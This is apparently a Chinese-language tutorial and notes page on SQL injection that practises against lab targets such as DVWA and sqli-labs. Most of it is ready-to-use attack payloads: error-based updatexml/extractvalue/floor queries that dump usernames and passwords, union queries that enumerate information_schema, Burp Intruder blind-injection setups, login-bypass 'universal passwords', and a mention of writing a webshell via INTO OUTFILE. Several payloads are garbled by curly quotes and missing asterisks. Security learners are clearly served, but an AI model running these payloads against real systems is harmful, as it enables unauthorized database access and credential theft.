sql注入

sql注入

SQL注入攻击通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作

SQL注入产生原因及威胁:

刚刚讲过当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。 很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作
判断SQL注入点:报错注入、回显注入、盲注(boolean、time)

输入数据时,带参数,看网页是否访问数据库,如:最经典的单引号判断法http://xxx/abc.php?id=1‘

(如果页面显示错误,就代表有注入。如果没有,也有可能是盲注。可以通过抓包比较页面状态和字节数,判断是否有注入)

回显注入:可以直接在存在注入点的当前页面中获取返回结果。

报错注入:程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以构造一些报错语句从错误信息中获取想要的结果。

例:

‘and+(extractvalue(1,concat(0x7e,(select+user()),0x7e)))=‘1
‘and+(updatexml(1,concat(0x7e,(select+user()),0x7e),1))=‘1

盲注:程序后端屏蔽了数据库的错误信息,没有直接显示结果也没有报错信息,只能通过数据库的逻辑和延时函数来判断注入的结果。根据表现形式的不同,盲注又分为based boolean(字节数不同)和based time两种类型。

sql注入点:数字型、字符型

在burp suit里面修改参数来进行判断(burp里面不识别空格,要用+代替)

猜测语句:

1-数字型:

select 字段名 from 表名 where id = 1;

例:

http://www.sql.com/xxx.php?id=1 假设ID为存在注入的参数
http://www.sql.com/xxx.php?id=1‘ 语句报错
http://www.sql.com/xxx.php?id=1 and 1=1 页面正常返回结果
http://www.sql.com/xxx.php?id=1 and 1=2 页面返回错误
数字型注入一般出现在asp,php等弱类型语言中,强类型语言很少存在。

2-字符型:

select 字段名 from 表名 where id = ‘;

例:

http://www.sql.com/xxx.php?id=1 假设ID为存在注入的参数
http://www.sql.com/xxx.php?id=1‘ 语句报错
http://www.sql.com/xxx.php?id=1‘ and 1=1 and ‘1‘=‘1 页面正常返回结果
http://www.sql.com/xxx.php?id=1‘ and 1=2 and ‘1‘=‘1 页面返回错误

3-搜索型:

select 字段 from 表名 where username like ‘%k%’;

http://www.sql.com/xxx.php?search=test 假设search为存在注入的参数
http://www.sql.com/xxx.php?search=test‘ 语句报错
http://www.sql.com/xxx.php?search=test%‘ and 1=1 and ‘%‘=‘ 页面正常返回结果
http://www.sql.com/xxx.php?search=test%‘ and 1=2 and ‘%‘=‘ 页面返回错误

相关SQL函数笔记
盲注常用聚合函数
  1. mid:例:MID(字段名,开始位置(起始值为1),结束位数(length))

    字符串从1开始,而非0,Length是可选项,如果没有提供,MID()函数将返回余下的字符串。

  2. left:LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

      LEFT(Str,length);

      接收两个参数:

        str:一个字符串;

        length:想要截取的长度,是一个正整数;

  3. substr:substr(string string,num start,num length);
    string为字符串;
    start为起始位置,字符串从1开始而非0;
    length为长度。

联合常用函数查询函数
  1. count:count(*) 它返回检索行的数目, 不论其是否包含 NULL值。

  2. distinct:去重,放在被查询数据前面,如:group_concat(distinct+database())

MySQL十大报错函数:https://www.cnblogs.com/zztac/p/11441292.html

  1. groupconcat:把目标字段的值打印在一行,逗号分隔(默认)
报错注入
  1. UPDATEXML (XML_document, XPath_string, new_value);
    

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

    第三个参数:new_value,String格式,替换查找到的符合条件的数据

    作用:改变文档中符合条件的节点的值

    改变XML_document中符合XPATH_string的值

    而我们的注入语句为:

    updatexml(1,concat(0x7e,(``SELECT` `@@version),0x7e),1)
    

    其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

    ERROR 1105 (HY000): XPATH syntax error: ``‘:root@localhost‘
    

    我的理解就是updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误 然后它就会将他查询的结果已报错的形式显示出来

  2. concat:连接字符串,一般联合updataxml使用

    例:id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)

    0x7e为“~”符号,不符合xpath格式,报错执行语句。

补充语句函数

1-into outfile

作用将查询结果输出保存到一个文件中,可以利用其写入一句话木马

利用需要的条件有:

1、对web目录需要有写权限能够使用单引号

2、知道绝对路径

3、没有配置-secure-file-priv(安装MySQL的时候限制了导入与导出的目录权限)

? (1)NULL,表示禁止。

? (2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录 也不行)。

? (3)如果为空,则表示不限制目录。

网址推荐:https://www.cnblogs.com/hzk001/p/12217516.html

SQL注入实现思路

burpsuit手工注入(dvwa盲注substr)、示例过程

sql注入思路
  1. 抓包,查看是否存在注入点

  2. 判断注入类型(报错、回显、盲注)

  3. 判断注入为字符型还是数字型

  4. 构造语句,进行注入

盲注手工注入过程
  1. 抓包,找到注入点的包

  2. 构建SQL语句查看重放,通过字节数变化情况查看语句构建是否成功

    id=1‘and+substr("name",1,1)=‘n

    查看数据库名的位数

    id=1‘and+length(database())=1‘

    (先测试语句构建是否成功,1‘and+length(“name”)=‘4,name长度为4的时候字节数与其他数字不同所以语句有效,通过更改=号后面的数字变量来找出database的长度)

    sql注入

    pload选择数字,from从1to20,step间隔为1.

    sql注入

    然后换成想要的数据 id=1‘and+substr(database(),1,1)=‘a ,进行配对

    sql注入

    sql注入

  3. 半自动爆破完成破解

    • id=1‘and+substr(database(),§1§,1)=‘§b§ 将开始位数和结果设成变量

      sql注入

    • 选择交叉爆破 cluster bomb

      sql注入

    • 分别给上字典1-10,a-z

    • 开始爆破

      sql注入

      成功后排一下序(给pload1升序,长度降序),显示总共4位字符,dvwa

盲注if语句构造方法

If语句构造:1‘and+if(substr(database(),1,1)=‘d‘,1,0)+--+

Pload:1‘and+if(substr(version(),§1§,1)=‘§d§‘,1,0)+--+

1-为0-9 2-为a-z

If语句构造:1‘and+if(substr(version(),1,1)=‘d‘,1,0)+--+

Pload:1‘and+if(substr(version(),§1§,1)=‘§d§‘,1,0)+--+

1-为0-9 2-为0-9+.

Case when 语句:

构造语句:1‘and+1/(case+when+substr(version(),§1§,1)=‘§1§‘+then+1+else+0+end)=‘1

Plaod如上所述不变,只是构造语句变了。1/1=1为真,1/0=1为假

时间盲注

时间盲注存在时,无法通过字节数的变化来判断语句的构造

if(a,b,c) 当a为真是执行b为假执行c

常用时间盲注语句:1‘and+if(substr(database(),1,1)=‘d‘,sleep(5),sleep(1))+--+

万能密码

1-列出3种万能密码的代码

mysql的查询语句:

SELECT * FROM users WHERE user = ‘$user(用户输入、插入数据的地方)‘ AND password = ‘$pass‘;

优先级:mysql会优先处理and然后是or

1-admin’or ‘’=’’ limit 1 #

Or,两边都为真但只需要一个为真结果就为真,所以最终有数据库内所有账户选择,需要加limit选择一个账户实现万能密码

2-admin’or ’’=’ #

Or,admin为真,字符=整数为假,所以or一个为真结果为真,只有一个admin账户选项,实现万能密码

3-admin’or’1’=’1 +---+

与2同理

2-admin’or’1’=’1’ limit 1 #

与1同理

3-admin’and’1’=’1’ #

And两边同时为真,结果为真,而且账户不能随机账户,实现万能密码

4-admin’or’1’=’1’’

And的优先级高于or所以最后一个单引号闭合了后面的引号,后面的and语句先判定再判断or’1’=’1’还是为真。所以不用注释后面的语句,相当于admin’or’1’=’1 +---+。

回显查询注入思路实现

MySQL中information_schema库

这个数据库中有三个表,存放了所以数据库名,所有数据表名和所有数据表的字段名

SCHEMATA表

字段:SCHEMA_NAME(所有库名)

TABLES表

字段:TABLE_SCHEMA(所有库名) TABLE_NAME(所有表名)

COLUMNS表

字段:TBALE_SCHEMA(所有库名) TABLE_NAME(所有表名) COLUMN_NAME(所有字段名)

SQL注入的原理简单的讲,就是发现注入-->构建poc(sql语句)
联合查询注入利用的前提

前提条件:页面上有显示位

显示位

在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位

流程:
  1. 判断注入点:略

  2. 判断整型和字符型:略

  3. 判断查询列数(构建poc时,必须要符合其查询列数,选择将查询结果放在第几列显示,列:?id=‘union select 1,database(),user()‘)

    sql注入

    看他字段能查询的列数为几列

    输入‘ union select 1,2,3‘第一个查询字段为1,第二个为2,依次 类推。我们可以通过二分法来猜解列数,输入‘ union select 1,2,3,4‘发现页面错误,说明没有4列。输入‘ union select 1,2‘发现页面错误,说明也没有2列。输入‘ union select 1,2,3‘输入3列时,页面正常,说明有3列。

    sql注入

  4. 判断显示位

  5. 获取数据库名

    看后面的poc

  6. 获取表名

  7. 获取字段名

  8. 获取字段数据

回显联合查询poc

统计所有数据库的数量:
1‘union+select+1,count(distinct+table_schema)+from+information_schema.tables--+

获取所有数据库名(去重):
1‘union+select+1,group_concat(distinct table_schema)+from+information_schema.tables--+

获取所有数据表名:
1‘union+select+1,group_concat(table_name)+from+information_schema.tables--+

获取当前数据库的所有表名:
1‘union+select+1,group_concat(table_name)+from+information_schema.tables where table_schema=‘dvwa‘--+

获取表(用户)字段:
1‘union+select+1,group_concat(column_name)+from+information_schema.columns where table_schema=‘dvwa‘+and+table_name=‘users‘--+

报错注入poc

报错注入:

  1. updatexml
    1. 爆库
      id=1 and updatexml(1,concat(0x23,database()),1)
    2. 爆表
      id=1 and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ )),1)
    3. 爆字段
      id=1 and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),1)
    4. 爆内容
      id=1 and
      updatexml(1,concat(0x23,(select group_concat(password,username) from security.users),0x23),1)
  2. floor
    1. 爆库id=1 union Select 1,count(),concat(0x23,0x23,(select database()),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+
    2. 爆表id=1 union Select 1,count(),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+
    3. 调整 limit 的参数,将所有表名爆出
      id=1 union Select 1,count(),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+
    4. 爆列名
      id=1 union Select 1,count(),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),0x23,0x23,floor(rand(0)2))a from information_schema.columns group by a–+
    5. 爆字段
      and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

报错注入:
‘and ExtractValue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘)))=‘1

报错注入:
‘and ExtractValue(1,concat(0x23,(select group_concat(id,‘‘,username,‘‘,password) from security.users)))=‘1

‘and ExtractValue(1,concat(0x23,(select concat(id,‘‘,username,‘‘,password) from security.users limit 2,1)))=‘1

sql注入

上一篇:Mysql主从复制和读写分离


下一篇:Spring + JdbcTemplate + JdbcDaoSupport examples